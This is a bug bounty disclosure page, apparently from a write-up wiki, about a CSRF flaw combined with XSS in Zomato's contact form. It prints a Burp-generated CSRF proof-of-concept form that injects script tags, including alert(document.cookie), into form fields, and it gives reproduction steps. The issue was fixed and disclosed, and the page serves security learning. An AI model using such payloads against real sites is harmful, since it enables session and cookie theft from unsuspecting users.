XSS and CSRF in Zomato Contact form
The Zomato contact form accepted a forged submission that also injected script into the email field, executing XSS in the browser.
- Fixed in 4 days
- Disclosed after 4 months
URL affected:-- https://www.zomato.com/contact CSRF Payload:--
<html> <!-- CSRF PoC - generated by Burp Suite Professional --> <body> <form action="https://www.zomato.com/contact" method="POST"> <input type="hidden" name="csrf_token" value="fa53b2d4ea3ae0113d903ed5b0200fcb" /> <input type="hidden" name="name" value="<script>alert(1)</script>" /> <input type="hidden" name="email" value="vibhuti123i"><script >alert(document.cookie)</script>" /> <input type="hidden" name="phone" value="" /> <input type="hidden" name="message" value="retrryrty" /> <input type="hidden" name="submit" value="Submit" /> <input type="submit" value="Submit request" /> </form> </body> </html>Step to Reproduce:---- 1)I have tested it after Login and without Login .This CSRF worked with executing XSS due to CSRF in Contact form.It is tested in Latest Firefox browser.
2)Just run the above payload and you will find below image XSS executed poping Up cookies.
Attachments

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Impact
An attacker could execute script in a victim's browser via a forged form submission, potentially stealing cookies, though the report does not demonstrate actual cookie theft beyond an alert.
What the attacker needed
Victim visits attacker page; victim may be logged in
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
A contact form accepted a forged submission and did not clean the email field, so script in that field ran in the browser.
What is XSS?
Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.